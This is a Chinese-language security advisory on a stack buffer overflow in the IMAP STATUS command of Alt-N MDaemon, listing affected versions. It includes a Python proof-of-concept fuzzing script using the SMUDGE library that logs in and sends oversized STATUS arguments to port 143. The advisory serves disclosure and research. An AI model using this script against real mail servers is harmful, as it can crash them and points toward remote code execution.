Alt-N MDaemon远程Status命令远程缓冲区溢出漏洞
涉及程序:
Alt-N MDaemon远程Status
描述:
Alt-N MDaemon远程Status命令远程缓冲区溢出漏洞
详细:
Alt-N MDaemon是一款基于Windows的邮件服务程序。Alt-N MDaemon的IMAP组件中包含的STATUS命令对参数缺少充分边界检查,远程攻击者可以利用这个漏洞对服务程序进行缓冲区溢出攻击,可能以进程权限在系统上执行任意指令。
攻击者经过验证后,发送包含超长参数的STATUS命令给IMAP组件处理,可发生基于堆栈的缓冲区溢出,精心构建提交数据可能以进程权限在系统上执行任意指令。
受影响系统:
Alt-N MDaemon 6.8.5
Alt-N MDaemon 6.8.4
Alt-N MDaemon 6.8.3
Alt-N MDaemon 6.8.2
Alt-N MDaemon 6.8.1
Alt-N MDaemon 6.8.0
Alt-N MDaemon 6.7.9
Alt-N MDaemon 6.7.5
Alt-N MDaemon 6.5.0
Alt-N MDaemon 6.0.7
Alt-N MDaemon 6.0.6
Alt-N MDaemon 6.0.5
Alt-N MDaemon 6.0.0
Alt-N MDaemon 5.0.7
Alt-N MDaemon 3.5.6
Alt-N MDaemon 3.5.4
Alt-N MDaemon 3.5.1
Alt-N MDaemon 3.5.0
Alt-N MDaemon 3.1beta
Alt-N MDaemon 3.1.2
Alt-N MDaemon 3.1.1
Alt-N MDaemon 3.0.4
Alt-N MDaemon 3.0.3
Alt-N MDaemon 2.8.50
Alt-N MDaemon 2.8
- Microsoft Windows NT 4.0
- Microsoft Windows 98
- Microsoft Windows 95
- Microsoft Windows 2000
攻击方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
ned (nd@felinemenace.org)提供了如下测试方法:
# overflow is in the IMAP status command
# scroll down to find it.
from SMUDGE import *
sm = SMUDGE(1)
sm.setname("imap")
#sm.plain("0000 CAPABILITY");
#sm.newreq()
sm.plain("0001 LOGIN \"");
sm.plain("nd");
sm.plain("\" \"");
sm.plain("hellhell");
sm.plain("\"");
sm.newreq()
sm.plain("0002 EXAMINE \"");
sm.plain("aaa");
sm.plain("\"");
sm.newreq()
sm.plain("0003 SELECT \"");
sm.plain("Inbox");
sm.plain("\"")
sm.newreq()
sm.plain("A003 CREATE ");
sm.plain("owatagusiam/");
sm.newreq()
sm.plain("A004 LIST \"");
sm.plain("");
sm.plain("\" ");
sm.plain("*");
sm.newreq()
sm.plain("A005 RENAME ");
sm.plain("INBOX");
sm.plain(" ");
sm.plain("OLD-MAIL");
sm.newreq()
sm.plain("A006 SUBSCRIBE #");
sm.plain("news.comp.mail.mime");
sm.newreq()
sm.plain("A007 UNSUBSCRIBE #");
sm.plain("news.comp.mail.mime");
sm.newreq()
sm.plain("A008 LIST ~");
sm.plain("");
sm.plain(" ");
sm.plain("%");
sm.newreq()
sm.plain("A009 LSUB \"");
sm.plain("");
sm.plain("\" \"");
sm.plain("bob.*");
sm.plain("\"");
sm.newreq()
# MDAEMON 7.01 STACK OVERFLOW
sm.plain("A010 STATUS ");
sm.string("blurdybloop");
sm.plain(" (");
sm.string("UIDNEXT");
sm.plain(" MESSAGES)");
sm.newreq()
sm.plain("A011 APPEND ");
sm.plain("blurdybloop");
sm.plain(" (\\");
sm.plain("Seen");
sm.plain(")");
sm.plain(" {");
sm.plain("0");
sm.plain("}");
sm.newreq()
#A654 FETCH 2:4 (FLAGS BODY[HEADER.FIELDS (DATE FROM)])
sm.plain("A012 FETCH ");
sm.plain("2");
sm.plain(":");
sm.plain("2");
sm.plain(" (");
sm.plain("FLAGS");
sm.plain(" ");
sm.plain("BODY");
sm.plain("[");
sm.plain("HEADER");
sm.plain(".");
sm.plain("FIELDS");
sm.plain(" (");
sm.plain("DATE");
sm.plain(" FROM)])");
sm.newreq()
sm.plain("A013 UID ");
sm.plain("FETCH");
sm.plain(" ");
sm.plain("4827313");
sm.plain(":");
sm.plain("4827313");
sm.plain(" ");
sm.plain("FLAGS");
sm.newreq()
sm.run("127.0.0.1",143,"bottomup","multiple","yes")
解决方案:
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://mdaemon.deerfield.com/
附加信息:
BUGTRAQ ID: 10366